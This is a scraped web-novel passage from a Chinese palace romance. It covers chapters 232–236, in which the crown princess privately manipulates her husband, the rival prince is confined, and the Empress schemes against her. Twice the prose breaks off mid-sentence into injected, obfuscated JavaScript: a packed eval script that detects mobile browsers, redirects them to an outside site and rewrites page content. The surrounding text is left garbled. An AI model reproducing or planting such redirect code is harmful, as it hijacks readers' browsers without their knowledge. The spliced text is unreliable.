谢泽修语塞,他抿了抿唇,“蛮蛮,世事丑陋!但你要相信世间也是有好男子的。你是世间顶好的女子,定会有最好的男子配你。” 云清婳知道自己太悲观。 她爹是好男人,祝国公是好男人,谢泽修是好男人,姐姐的心上人顾将军兴许也是个好男人。 可是她天生敏感,她不敢相信男人。 特别是三妻四妾的男人! “表哥,我从不渴求什么如意郎君。”她伸手为他拍去肩头的雪,“我只想要我的儿子登上皇位,你会帮我对吧?” 谢泽修微微一怔,随后他的眼中聚起了光,“嗯。” 她笑了。 总有人劝她好好跟夫君过日子。 可凭什么男人可以三妻四妾,她却只能守着一个男人过日子呢? 她的目标是报仇! 是登临高位! 她要权势,不要爱! 庭院的拱圈门传来了雪被踩下时,噗呲噗呲的声音。 云清婳跟谢泽修侧头看去,只见裴墨染披着霜雪走来。 看见云清婳跟谢泽修站得如此近,二人言笑晏晏,裴墨染的脸霎时沉了。 “夫君!”她小跑着朝他奔去,扑进了他的怀里。 裴墨染将身上的披风脱下,将她紧紧包裹起来,他挑眉看向后面的谢泽修,“谢将军又来了!更深露重,你跟谢将军怎么不进去说话?” 云清婳促狭:“自然是为了避嫌啊,免得某人吃醋。” 他瞪了她一眼。 “殿下,微臣是来给太子妃送防疫药方的。”谢泽修拱手。 云清婳拿出袖中的药,放到裴墨染的手里,她的眼眶渐渐湿润,“这是表姐留下的药方,表姐医术高明,若是她在一定能挽救许多生命。” 裴墨染刚想要启唇,可突然福至心灵,又沉默了。 谢国公家的嫡女,名声是出了名的好,云游天下,悬壶济世,救人无数。 可五年前,听说她出了一场事故自焚了。 “多谢谢将军,也多谢谢姑娘。”裴墨染有史以来第一次正色看着谢泽修,眼神感激。 谢泽修的眼中流露着悲伤,他的声音沙哑:“殿下言重了。” 他识趣地告退。 云清婳被困在悲伤的回忆里,她红着眼道:“夫君可还记得姐姐?” “我为何要记得她?”裴墨染反问。 她瞪了他一眼,转身就走,“……” “你怎么又恼了?蛮蛮,你总得告诉我,我说错什么了吧?”他急忙跟在她身后。 云清婳的心中一片悲凉。 裴墨染甚至连姐姐的名字都不记得了! 可他曾经的心上人却害姐姐被凌辱! 真讽刺! 姐姐可是裴墨染的官配! 进了屋,云清婳脱下披风,沉着脸坐在凳子上。 裴墨染压下满身的疲惫,蹲在她身前,握住她的手,“蛮蛮,你为何恼了?你总得告诉我原因吧?” 王显着急不已。 殿下的记性是真的不好。 “谢小姐……跟您有过婚约啊。”王显用气音提醒。 裴墨染猛地想起来是有这回事。 当时他满心满眼都是赵婉宁,他对谢家小姐嗤之以鼻,根本没放在心上。 “蛮蛮,我知道你不是在吃醋。”他道。 云清婳气得差点呕血。 她怎么可能吃姐姐的醋? 裴墨染一脸真诚,他惋惜道:“想必你跟谢小姐感情深厚,她悬壶济世,品行高洁,可却发生了意外,倘若当年我在京城,定会护她。 我与她毕竟有过婚约,可我还不曾记得她,你因为这个恼我对吧?” 云清婳的眼神一沉,视线缓缓落在他的脸上,眼泪在眼眶打转,“裴墨染,你若是认识姐姐,一定会爱上她的。” 因为她是这本小说的女主,对你有着致命吸引力。 他将脸放在她的膝上,吐出一口浊气,“人生在世没有如果,我只要你。” 王显捂着嘴偷偷地笑了,他笑得一脸甜蜜,就像偷吃到了蜜糖。 而云清婳眼中的阴郁却浓得化不开。 裴墨染的情话,让她没有丝毫开怀,而是让她感到窒息。 她只想要姐姐啊。 “夫君,你今日去找裴云澈了?”她揉揉他的脑袋。 她觉得裴墨染现在的动作,特别像是求主人抚慰的大型犬。 “嗯,我差点杀了他。”他点头,眼神冷得要结冰。 她叹了口气,“若是真能杀了他就好了。” 裴墨染诧异地抬起头,意外地看着她,似乎觉得眼前人有点陌生。 “夫君怎么这么看我?是不是觉得我歹毒?”她娇憨地嘟着嘴。 第232章 这是夫妻情趣 裴墨染摇摇头,他严肃地说:“我是觉得蛮蛮长大了,这样很好,你就该心狠一点。” 云清婳着实有点意外他的反应。 她训狗训得太成功了! 裴墨染起身,将她搂进怀里。 蛮蛮这么心善的人都起了杀心,由此可见裴云澈此次对蛮蛮的伤害有多大! “蛮蛮,等我继承大统,我要做的第一件事就是杀了他!”他字字铿锵,像在发誓。 云清婳揩去眼角并不存在的眼泪,“夫君又在骗人!裴云澈先是给承基下毒,而后又掳走我,逼我拜堂,可你只会让我们等!” 裴墨染吻着她的发顶,眼中泛出杀气,“蛮蛮,你信我!” 他的杀心从来没有这么强烈过,裴云澈这次踩中他的底线了! 云清婳看着他缠着纱布的左臂,不由得有些担心,“夫君,你的伤没事吧?你跟裴云澈的人打斗的时候,有没有牵扯到伤口?” 伤筋动骨一百天,倘若留下病根就不好了。 躯体有恙之人可是不能当储君的。 “你心疼了?”裴墨染勾起嘴角。 她轻抚他的胳膊,半认真道:“夫君,我是怕你伤没养好,到时候胳膊一长一短。” 裴墨染:…… 他真的有点怕了。 这个小妮子这么肤浅,倘若到时候他真长成那样,她不得嫌弃死他? “你先睡吧,我去找太医看看。”裴墨染立即起身去找太医。 云清婳看穿他的心思忍不住笑了。 晚上,二人静静地躺在榻上。 云清婳感觉浑身轻飘飘的,身心松快。 不得不承认,跟裴墨染相处久了,她还是在他身边自在一些。 裴墨染捉住她柔软的手,放在胸口上,他的声音喑哑:“蛮蛮,你好软。” “不可以!”她的挠了下他的胸口,“小心长短手。” 裴墨染:…… “蛮蛮,你真会扫兴!”他有些委屈。 云清婳的脸色一暗,“夫君,我都听飞霜说了,你趁我不在,在将军们跟诸葛先生面前说我坏话。” 他冤枉! 他怎么敢说她坏话? “我没有!”他的声音陡然拔高,激动地辩解。 “你有!你说我喜欢打你的脸!”她幽幽地觑他。 裴墨染心虚地垂下眼。 为了揭穿聂蓉,他的确说了一句。 他抿了抿唇,“那不是情况紧急吗?副将跟诸葛先生不肯随我去救你,我只能出此下策。” 云清婳气不打一处来,狗男人到处败坏她的名声! 她的腮帮子气得鼓鼓的,“现在好了,所有人都以为我是悍妇。” 裴墨染觉得她像极了金鱼,可爱娇得很,“他们不会乱说的,蛮蛮不是悍妇。” “夫君,你自己说啊,我平日也是很乖巧温柔的,我打你是因为……” 他抢答:“是因为我该打。” 瞧! 他被训得多好? 都会抢答了。 她决定给他些甜头,“夫君为了救灾,劳累许久,我帮你揉揉肩膀。” 裴墨染在边关糙惯了,何时被人这般伺候过? 他有些不习惯,“我哪有这么娇气?我不用你伺候。” “那夫君帮我揉揉。”她把他的手放在腰上。 裴墨染轻笑,“你在这儿等着我呢?” 她起身,给他捏着肩膀,裴墨染的僵硬的肩膀陡然一松。 没一会儿他就呼吸均匀,睡着了。 她叹了口气,最近把他累着了。 …… 翌日,裴墨染在书房跟副将商讨重建灾区的事宜。 夜幕降临,不知谁肚子叫了,他们才意识到还没用晚膳。 就在这时,云清婳命飞霜送来了骨头汤。 裴墨染抬起眼,左右张望,“太子妃呢?” “主子已经睡下了,殿下的汤盅是清淡的,主子特意准备的。”飞霜福福身。 “嫂夫人真周到啊!”副将揶揄地看向裴墨染。 裴墨染让飞霜将几只汤盅分出去。 副将们端着汤碗,大快朵颐,他们窃窃私语起来:“太子妃如此贤惠,殿下怎么还说太子妃喜欢打他?” “殿下也真是的,这么好的媳妇儿不知道心疼。” 裴墨染白了他们一眼。 他们一帮没媳妇的莽夫懂什么? 这是他们的夫妻情趣! 裴墨染喝着寡淡的汤,心里甜滋滋的,他的汤跟其他人的不一样。 …… 又忙了一个月,瘟疫总算控制住了,并没有大规模爆发。 蜀地百废待兴,等新来的官员上任,裴墨染才带人离开。 军队离开时,蜀地百姓沿街相送,感激涕零,太子的贤明很快就传开了。 等回京时,冬季已然过去,京城入了春,四处杨柳青青。 裴墨染跟云清婳携手下了马车。 此时,裴墨染左臂的骨裂已经养好,万幸没有落下病根。 而苏灵音带着面纱,遮挡住歪了的鼻骨,有气无力地跟在后面。 她清瘦了不少,眼窝深深陷了进去,原本灵动的双眼毫无生气,如同垂暮老人。 “夫君,阿娴肯定已经生了。”云清婳很是期待。 她想看看阿娴的宝宝。 裴墨染的眉宇舒展,嘴角上翘,“魏娴诞下皇嗣有功,我定会重赏她。” 府中添丁,他自然是高兴的,但并没有多惊喜。 因为蛮蛮已经给他生了一对儿女,已经失去了初为人父的喜悦。 万嬷嬷带着全府上下在门内相迎。 “参见太子、太子妃。”众人跪下,异口同声道。 “平身。”裴墨染随意摆摆手。 他迫不及待走向承基跟辞忧。 万嬷嬷跟奶娘一人抱着一个孩子。 此时,两个孩子已经快一岁半了,几个月不见,他们长大了不少,头发浓密,五官立体。 “辞忧、承基,叫爹爹。”裴墨染笑着冲他们伸手。 两个孩子的脸瞬间红了,他们小脸紧紧皱在一起,葡萄眼沁出了水。“呜呜呜……” 他们紧紧抱着奶娘跟万嬷嬷的脖子,像是看见了人牙子。 奶娘、万嬷嬷皆有些尴尬。 裴墨染的脸色很难看。 “殿下,孩子没记性,你们离开太久了。”万嬷嬷吞吞吐吐地说出真相。 云清婳幽怨地睨着他,“你满意了?孩子把我们忘了!” “……”裴墨染心中酸涩。 “娘~”辞忧忽然喊了一声。 承基也跟着奶声奶气地喊:“娘~” 云清婳着实惊了。 就连万嬷嬷都愕然,“天啊,皇孙太聪明了!居然还记得太子妃!” 云清婳忍不住笑了,她的心难得感受到了柔软。 不愧是她十月怀胎生下的孩子! 她亲亲他们的小脸蛋,挤出眼泪。 这一幕把周围的婢女都看酸了眼。 裴墨染酸溜溜地在她耳边问:“所以,孩子单单忘了我?” 第233章 蛮蛮,你训狗好厉害 “夫君陪孩子玩一会儿,孩子就想起来了。”她将辞忧递给裴墨染。 辞忧在裴墨染怀里哭了一会儿,就被他逗笑了。 她发现了,辞忧性子活泼,裴墨染更喜欢辞忧。 裴墨染想要一边抱一个,可云清婳不答应,“你的左臂有伤。” “早就好了。”他伸手问云清婳要承基。 “不行!承基太重了,会伤着你的。”她加快脚步,躲开他。 裴墨染的嘴角上扬。 蛮蛮真心疼他! 这是裴云澈、谢泽修求不来的。 “我哪有你这么娇气?”他掂了掂辞忧,辞忧咯咯直笑。 苏灵音看着二人的背影,恨得差点咬碎银牙。 凭什么云清婳这个荡妇都能有孩子,她却挺着空肚子,被戏耍了这么久? 就在这时,一个妾室走来,她好奇地问:“苏侧妃怎么戴着面纱?诶,你的肚子怎么平了?莫非孩子提前生了?” 苏灵音被气出了眼泪,狠狠推开她,快步跟上裴墨染。 其他妾室纷纷翻白眼,低声嘲讽:“嚣张什么?殿下看都不看她一眼,莫不是孩子流掉了?” “殿下跟太子妃情比金坚,方才殿下看都没看她一眼。” “呵呵呵……我早看不惯她了!区区一个侧妃,之前在东宫耀武扬威,皇后的侄女了不起啊?真把自己当太子妃了?” 苏灵音听到这里,满心怆然,她恨不得撕烂她们的嘴。 这些贱人,给她等着! 她早晚会把裴墨染的宠爱夺回来! 裴墨染就算不在乎她,难道还不在乎姑母吗? 他对姑母有怨有恨,就说明在乎! 在孩童的笑声中,万嬷嬷跟倒豆子般滔滔不绝道:“您们离京后,皇上常常召见公子跟小姐,听御前公公说,孩子聪明极了,陛下爱不释手。孩子抱回东宫后,还常常念着爷爷。” 裴墨染的心中一片柔软,他感激地看向云清婳。 父皇多喜欢孩子一分,他的太子之位就稳妥一分。 万嬷嬷又笑道:“恭喜殿下,魏夫人诞下了公子。” 裴墨染的眼前一亮,他笑看着云清婳,“蛮蛮,方才我们都忘了关心孩子是男是女了。” 云清婳的心中闪过一丝快意。 忘了关心男女说明裴墨染心中已经有了世子的人选。 所以其他的孩子是男是女都不重要了。 是儿子固然更好,但女儿也不错。 “夫君,我们去看阿娴吧。”她道。 “这是自然,魏侧妃诞下皇嗣,为东宫添丁,重赏!”他吩咐道。 苏灵音的瞳孔一震,眼泪蓄满了眼眶,心脏生疼,好像被万箭穿心。 魏娴的流产居然也是假的! 她离开后,反而给了魏娴诞下皇嗣的机会。 她居然被这群贱人耍得团团转! …… 落霞斋。 裴墨染跟云清婳踏进门时,魏娴正躺在榻上喝汤。 她的眼前陡然一亮,灿若星子,就像看见了情人。 “蛮蛮!”她放下碗,急忙要下榻。 “阿娴!”云清婳朝她小跑过去。 二人紧紧抱在一起。 裴墨染:…… 这个魏娴! 她们在做什么? 好像她俩才是一对! “咳咳……”裴墨染咳了咳。 云清婳、魏娴这才朝他看去。 “妾身该死,妾身生产后体弱眼花,方才竟没看见殿下。”魏娴语气歉疚得要命,作势要下榻。 裴墨染摆摆手,他的目光四处逡巡,“你才生产完,莫要下榻,好好坐月子。孩子呢?” “奶娘在喂奶呢。”魏娴给婢女玉穗递了个眼色。 玉穗立即将小公子抱来,递到裴墨染面前,“殿下,这就是小公子。” 孩子才出生十几日,小鼻子小眼,皱皱巴巴,像一个小老头。 裴墨染伸出手想要抱,可垂眼一看,他脸上的表情凝固了。 他从未见过出生不久的婴儿,最多喝过官员孩子的满月酒。 眼前的孩子像一只皱皱巴巴的小猴子…… 好丑。 他默默地收回了手。 不想抱了。 云清婳跟魏娴一看裴墨染的举动,便知道他在想什么。 狗男人! “殿下,孩子还没长开呢,长开了就好了。”魏娴心有不满地解释。 云清婳无奈道:“承基、辞忧出生的时候也是这样的。” 裴墨染松了口气,如释重负般道:“这就好。” 他可不希望自己的孩子其貌不扬! 四下的婢女、奶娘忍不住笑了。 殿下怎么什么也不懂? “咳咳……” 裴墨染自然知道她们在笑什么,但喜得贵子,他懒得计较。 “魏娴,辛苦你了,本宫命人备了补品跟珍宝。”他伸出手,想要勉励她。 可在云清婳的视线下,他莫名感觉心虚,手半晌没落下。 魏娴嫌弃得恨不得翻白眼,谁稀罕啊? 她的脸上简直快写上‘莫挨老子’四个大字! 有了孩子后,男人已经不重要了。 她不想伺候了! “你好好养身子。”裴墨染的手最终拍了下魏娴的肩膀。 拍完后,他紧张地瞥向云清婳。 见云清婳没在意,他才放心。 “求殿下给孩子赐名。”魏娴抬眼,疲惫而期待地看着他。 名字饱含着对孩子的期待。 倘若他给孩子取了附庸风雅的名字,孩子将来八成会成为无权无势的闲散王爷。 倘若他给孩子取了寓意深远宏大的名字,孩子必是被寄予厚望的。 裴墨染微微一怔,他思索起来,半晌后,他道:“取名是大事,不可草率,本宫尚未想到,容本宫再想想。” 不是没想到,是压根没想吧? “妾身跟孩子静候佳音。”魏娴笑道。 “放心,”他的声音一沉,“这是本宫第二个儿子,本宫定会重视。” 裴墨染知道云清婳跟魏娴感情深厚。 倘若魏娴母子的地位被抬高,蛮蛮日后在内宅乃至后宫争斗时,也不至于身后空无一人。 “多谢殿下。”魏娴声线颤抖,像是感激不尽。 云清婳跟魏娴对望。 魏娴:蛮蛮,你训狗好厉害!殿下为了你都开始重视我了。 云清婳:当然! …… 裴墨染在落霞斋坐了一会儿,便沐浴更衣,进宫述职。 蜀地救灾,他带领一班人马立了大功,这是毋庸置疑的。 但他更在意的是——让裴云澈落马! 裴云澈这个卑鄙小人,谋害他的妻儿,此仇不报,誓不为人! 云清婳望着裴墨染寒气逼人、胸有成竹的背影,眼神黯淡了下去。 “主子,怎么了?殿下揭发裴云澈,让裴云澈一无所有不好吗?”飞霜察觉到她阴郁的表情,担心地问。 “我自然希望裴云澈变成落水狗!”她掐了掐鼻梁,“可皇上的心思,我愈发看不透了,不知道他能不能成功。” …… 御书房中。 皇上收到了暗探送来的两封密信。 一封来自蜀地,一封来自江城。 他看后通身的气场骤然一寒,殿中的气压极低,他眼底的怒火蹭蹭往外冒,可面上无波。 第234章 朕该不该换太子? 御前太监感受到灭顶般的滔**意,噤若寒蝉,把脸埋得很低。 皇上攥着密信,像是恨不得捏成齑粉,“云澈,过了。” 国师骆无延跪在殿中央,背脊挺拔如弓,恭敬地叩首。 “朕从没想让墨染把储君之位坐下去,可云澈太让朕失望了。”他苍老的声音都在颤抖,语气满是恨铁不成钢。 满心期待的儿子心怀叵测,甚至剑走偏锋,偷养私兵。 而他心中只配镇守河山、辅佐君主的儿子,却功业赫赫、汗马功劳。 理智跟感情不断交锋、碰撞,反复来回折磨着他。 一个声音告诉他,为了大昭江山,他不能一意孤行,感情用事。 可另一个声音告诉他,身为天子,你为何不能随心所欲?为何连最心爱的儿子都护不住? 更何况裴墨染那逆子,对他不敬,目中无人! 上次居然敢威胁他,他现在心中还窝火呢! 骆无延不敢站队,恭敬地回答道:“陛下是天子,储君之位由您定夺。” “哼!你这老狐狸!让你占星,却故弄玄虚,说得云里雾里!”皇上轻飘飘的一句话,却像下了死令。 骆无延的面色一白,“微臣只是凡夫俗子,不敢窥探天家。” 皇上的眼里闪过寒光,暗箭般的眼神射向他,“少糊弄朕!无延,你与朕相识几十年了,今日只是随便说说话。你究竟观测到了什么?朕,该不该换太子?” 骆无延的呼吸一窒,额上泌出细碎的汗珠。 伴君如伴虎。 立储之事,他怎能妄议? 他的嘴角弯起,故作轻松道:“陛下心中已经有答案了,不是吗?” 皇上的眸中闪过厉色,“再不说,朕就砍了你的脑袋。” 骆无延身子僵硬了一下,浑身冒出冷汗,他瞥见龙案上的拨浪鼓,忽然福至心灵。 “贤王殿下……”骆无延小心翼翼抬眼,看着皇上的脸色。 皇上的脸上飞快闪过错愕。 骆无延继续道:“贤王殿下很好,但并不是最合适的人选。” 上首传来一声冷嘁,皇上的脸色黑沉,铺天盖地的威严压了下来,如同山崩地裂般骇人。 他笑问:“你是** ? 虽是问句,但却是肯定的语气。 “微臣冤枉!微臣跟太子殿下不曾有过私交,微臣敢让监察院来查。骆无延惊慌起来,声音陡然拔高。 皇上的表情变幻莫测,让人捉摸不透,他问:“为什么? “好圣孙可旺三代,皇孙命格极贵!骆无延一字一顿。 皇上掐了下眉心,缓缓吐出一口浊气。 看着桌案上勒令内务府新做的一对拨浪鼓,冷硬的脸变得柔软,露出一丝慈爱。 承基、辞忧以及儿媳妇,都比裴墨染这个逆子讨喜! 骆无延如释重负。 看样子,他应该过关了。 …… 裴墨染到御书房述职,顺便禀报了裴云澈在江城训练私兵,拥兵自重的事。 皇上发了雷霆之怒,拍案而起,立即下旨砍了周望舒等官员的脑袋,抄家诛三代。 至于裴云澈,皇上闭口不谈。 他话锋一转,疏离的表扬勉励了他一番,表示会设宴嘉赏他与将士,而后赏赐了丰厚的珍宝便让他跪安。 这完全在裴墨染的意料之中,皇上宠爱裴云澈,怎舍得动他? 他谢恩后,毫不留恋地离开了御书房。 皇上挑眉。 他还以为裴墨染会不满,争论到底,趁机按死裴云澈。 出了御书房,裴墨染迎面就看见了裴云澈。 裴云澈露出标志性的笑容,面容温润儒雅,“太子殿下。 裴墨染居高临下地瞥了他一眼,就像在看阴沟的老鼠,不屑地从他身旁走过。 裴云澈的心狠狠一揪。 他憎恨被人轻视的感觉! “裴墨染,很失望吧?你机关算尽,告发本王又如何?你不会真以为父皇会处置本王吧? “本王跟你是不同的!你与父皇是君臣,而本王与父皇是父子,你何必自取其辱? “你就是个可怜虫,机关算尽,也无人心疼!父子亲情跟你说了你也不懂!父皇曾经因为错过本王的生辰,跟本王道过歉。你呢?你的生辰,父皇记得吗? 裴墨染的手攥紧,指尖泛着乳白色,舌尖发苦。 尽管早知父皇偏心,可被裴云澈提起,他还是难免 心痛。 裴墨染忽地想到了云清婳若是蛮蛮在肯定会说他们幼稚。 “幼稚!”裴墨染淡淡地吐出这两个字。 裴云澈脸上的从容差点没绷住温和的脸上出现了裂痕。 “你的确是父皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16014677|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最喜欢的儿子但本宫是太子。”他似笑非笑道。 裴云澈鬓角的青筋鼓起他险些喘不上气他挑衅道:“你以为你的太子之位能坐多久?你戏弄苏灵音你自己又何尝不是苏灵音?” 御书房的门忽然被打开。 御前太监小跑着出来“贤王殿下……” 裴云澈瞥了眼裴墨染得意道:“可是父皇传召本王进去?” “不不不……”御前太监看起来有些为难脸皱成了苦瓜“传陛下口谕日后江城归太子掌管江城布政使、刺史皆由太子推选。” 裴墨染有些惊讶。 父皇居然舍得处置裴云澈了? “什么?”裴云澈瞪圆了眼“父皇定是被奸人迷惑 御前太监张开双臂将他拦住“贤王殿下陛下口谕还没说完呢即日起贤王不必上朝在贤王府静思己过休养生息。” 裴云澈的脸瞬间惨白迎上裴墨染嘲讽的眼神他的面皮羞耻地红了。 皇上此举跟在大庭广众下扇了他一巴掌没有区别。 明明方才他还在裴墨染面前炫耀父皇的偏爱这现在他却被剥夺了权力禁足在家! “保重啊。”裴墨染毫不掩饰喜色尾音上扬。 他明白父皇也是在变相告诉他让他停手。 “不!本王要求见父皇!”裴云澈红着眼扑通一声跪在御书房的台阶下。 御前太监叹了口气“贤王殿下回去吧陛下说了不见您。” 裴墨染险些笑出声幸灾乐祸的走了。 …… 玄音阁。 晚上孩子吃饱后云清婳亲自给孩子擦洗了身子。 她将他们放在床榻上让他们在榻上玩。 “主子歇着吧婢女自会照顾皇孙。”飞霜拿着布老虎逗着孩子。 云清婳打了个哈欠“没办法我必须要跟孩子培养出深厚的感情。我可不能重蹈皇后的覆辙!只有儿女足够爱我我的地位才稳得住。” “主子已经做得很好了。”飞霜宽慰道。 云清婳摇摇头。 也许在别人看来她很爱两个孩子。 可她心里最清楚她不是正常人对孩子的感情并不多。 “听万嬷嬷说皇上很喜欢皇孙。前些日子皇孙进宫皇上正为了任免何人进监察院心烦有两个人选公子、小姐硬生生扯着其中一人不撒手皇上高兴就选了他。”飞霜道。 云清婳眼中闪过新奇的光“然后呢?” 第235章 你醋坛子成精了 “没几日另一个官员就被查出****!龙心大悦,皇上让公子、小姐在养心殿过了夜。朝中都在传,主子生了两个福星呢。”飞霜的眼中充满了星光,崇拜地看着榻上的两个小奶团子。 云清婳登时来了精神,疲惫的眸子被点亮,满是惊喜。 她揉揉他们的头,由衷地夸奖:“承基跟辞忧好厉害啊。” “咯咯咯……”被娘亲夸了,两个孩子笑个不停,还啪啪地拍手。 “主子,京城都传开了,说您生下了麒麟子,是大昭之福。”飞霜道。 云清婳讳莫如深地笑了。 她确定了一件事。 这不是简单的巧合! 两个孩子聪颖超群,让他们摇签、抓阄,她们总能抽到上上签。 他们的气运爆棚! 这或许是因为他们是男主的儿女,所以继承了男主的气运。 也就是拥有主角光环。 原剧情里,裴墨染就有一对天才龙凤胎。 而且作者在结局时交代,龙凤胎分别是新书中的男主、女主。 思及此,云清婳心中大喜,她忍不住亲了亲孩子们的脸,如获至宝。 她十有**可以躺赢了。 …… 夜深了,裴墨染才轻手轻脚地推开玄音阁寝殿的门。 云清婳正坐在茶桌前看话本子,她看见裴墨染眼前一亮,“夫君……” 她小跑着扑进他的怀中。 “蛮蛮!”裴墨染的双臂不断受力,将她搂住。 云清婳看到他脸上的线条放松,眉眼舒展,便知晓他告发裴云澈之事成功了。 “夫君这么晚才回来,饿不饿?我包了馄饨。”她捧着他的脸。 “吃过了。”他笑着在她鬓角落下一吻,“裴云澈被禁足了,江城即日起也归我掌管。” 皇上居然处置了裴云澈,这是否说明偏向裴云澈的天平,开始偏向了裴墨染。 这是好兆头。 云清婳的眸中迸发出惊喜,但她并不会妄议朝政。 男人肯主动跟你说这些,可不是为了听你指手画脚的。 而是为了获得情绪价值! “夫君好厉害,我就知道夫君会让我们母子三人过得越来越好。”她崇 拜地看着他。 裴墨染飘飘然,嘴角弯起,他将她抱起来,让她坐在大腿上,“这段日子苦了你了,都瘦了。” 她侧过脑袋,倚靠在他的肩头上,“夫君,如今咱们已经跟苏灵音撕破脸,皇后会不会怪我?我好怕……” 他眼中的温度倏地消失,目光凌冽,“我不容许任何人伤害你,哪怕是皇后。” 狗男人说得倒是好听! 但是没有爱,哪来的恨? 你能为了我弑母吗? 云清婳的黛眉下垂,不耐的戳戳他的肩膀,“夫君快去沐浴。” 裴墨染的喉结上下滚动,眸色一黯,倒映出浓墨重彩的欲望。 他在她屁股上拍了一下,忙不迭起身去往净室。 “你……”云清婳脑子都是懵的。 狗男人打她干什么? 约莫过了半柱香的功夫,裴墨染便从净室出来了。 他从身后搂住云清婳纤细的腰肢,将她圈在怀里,声音喑哑,“心肝儿,你疼疼我。” 炙热的气息喷洒在她的耳廓,让她的皮肤升温,她的耳朵红了,“不行,你的胳膊还没好。” “怎么没好?早就好了!”裴墨染的声音陡然拔高,伸出白花花的左臂晃了晃,“你看啊,你打我都没事。” 这几个月,每次想跟蛮蛮亲热,蛮蛮就拿胳膊说事。 “总之就是不行!”她挣了挣,却没在他的臂弯中挣脱。 自从知道两个孩子,比狗男人更讨皇上喜欢,她就越发懒得讨好狗男人了。 “一会儿你就喜欢了。”他捏着她的腰,腾空将她抱起来,朝着床榻走去。 “呸!不要脸!我才不喜欢!”云清婳的面皮发红,双腿乱踹。 绣花鞋都踢飞了。 “嘴硬!” 他委屈道:“都憋了三个月了,胳膊都好了,为什么不能亲热?你想憋死我?” 他的语气楚楚可怜,可手上的力气一点没泄,完全掌控着她。 “那你去找别人啊。”她嫌弃不已。 裴墨染冷嘁:“我找别人,你的巴掌不得抽上来?说得倒是好听,你醋坛子成精了,你自己不知道?” 云清婳气得半死。 这人真是越来越自恋了 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16014678|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >! 裴墨染将床帐拉开的瞬间脸僵住了面色铁青。 床榻正中央承基跟辞忧正在酣睡。 两个小奶团双手攥拳横七竖八地睡着二人呼吸均匀脸蛋泛着浅浅的红可爱极了。 云清婳趁机爬上榻将两个孩子的小手小脚摆好“孩子都不记得我们了我想跟孩子培养一下感情。” “好……”裴墨染咬牙切齿地从嘴里挤出一个字。 云清婳看着他这副吃瘪的模样险些扑哧笑出声。 一家四口躺在榻上裴墨染感受到前所未有的温暖跟安然。 “蛮蛮谢谢你。”他侧过身伸出手臂隔着两个孩子捏了下她的手心。 可云清婳早就睡着了。 他哑然失笑。 翌日清晨裴墨染醒来时感觉喉头发干下榻后喝了好些水都没缓过来。 “夫君怎么了?”云清婳跟着下榻。 “无妨有些热罢了。”他将她抱回榻上“多睡一会儿我想把你们母子三人养得白白胖胖。” 她感觉裴墨染的脸色有些惨白。 不禁怀疑狗男人莫不是生病了? 千万别传染给她跟孩子啊。 “什么白白胖胖?你把我们当猪了?”她在他屁股上拍了一巴掌顺便报了昨晚的仇。 裴墨染挑眉戏谑道:“我可没说这是你自己说的。” 她哼了一声。 …… 翊坤宫。 苏灵音被召见入宫皇后看见苏灵音形销骨立 她跟皇后诉说了这段日子的辛酸以及她们被裴墨染、云清婳耍得团团转的经过以及云清婳自愿被裴云澈掳走的事。 “墨染糊涂啊他怎么可以这么对你?你好歹也是他的表妹啊。”皇后眼中泛出埋怨。 苏灵音揩去眼角委屈的泪水“殿下并非池中之物早就看穿了我是姑母派去的细作。更何况殿下跟您被蹉跎了二十三年他的心恐怕难以捂热了。” “不!墨染是最听话本宫话的一定是云清婳害的!都是云清婳挑拨离间我们墨染明明已经原谅本宫了。”皇后的胳膊颤抖起来眼泪汹涌。 她想到了死去的白嬷嬷想到皇上掌掴了她想到裴墨染、裴云澈忤逆于她这些全都是拜云清婳所赐。 她可是尊贵的皇后啊怎能输给一个小丫头? 第236章 窝囊的赛道里,他一骑绝尘 “云清婳这个**究竟想干什么?她已经是太子妃了,已经诞下两个皇孙了,她为何要勾引云澈?为何偏偏要跟本宫过不去?这个狐狸精、**!”皇后的手捏得咔咔作响。 苏灵音的脸上流露出怨毒,“我已经派人查了云清婳的从小到大的经历,定能发现蛛丝马迹,她的目的绝对不单纯,姑母放心吧。” 皇后颔首,不安的心绪渐渐被抚平,她投去信任的目光,“灵音,你做事,本宫很放心。” “是。”苏灵音福福身,她欲言又止,“姑母……侄女愚见,不如您稍稍安抚殿下,以退为进,让殿下愧疚?否则殿下永远不会跟我和好。” “虽然起初监视、出卖殿下,是我有错在先。可自从知道殿下才是亲表哥,我再也没有损害他。只要您们和好,殿下一定会原谅我的。” 她只是个家族利益的牺牲品,她有什么错? 皇后脸上的愁云渐渐消散,她露出胸有成竹的笑,眼中含着几分慈爱与陡然掌控一切的傲慢。 “你放心吧,这不是什么大事。墨染幼年最喜欢吃本宫包的饺子,可本宫很少包,明日本宫就请他来尝尝,他定会喜欢。” 皇后承认,从小到大她给裴墨染的关爱很少,所以只要她像对云澈那样对待裴墨染,他定会感动不已。 “年少不可得之物,必将困其一生!此招一定可行!”苏灵音的脸上写满了算计。 …… 云清婳一早就抱着两个孩子回云家省亲。 晌午不到,她便回了东宫。 管家急忙跑来气喘吁吁地说个没完。 原来是裴墨染在勤政殿处理政务时,险些昏迷,幸亏扶住墙才没摔倒。 诸葛贤提议让裴墨染歇息,可他不答应,于是各退一步,让裴墨染将亲信叫到了东宫。 “诸葛先生担心殿下玉体有恙,便让老奴请您去劝劝。”管家擦了擦额上的汗珠。 云清婳的双眼深邃,洞悉一切。 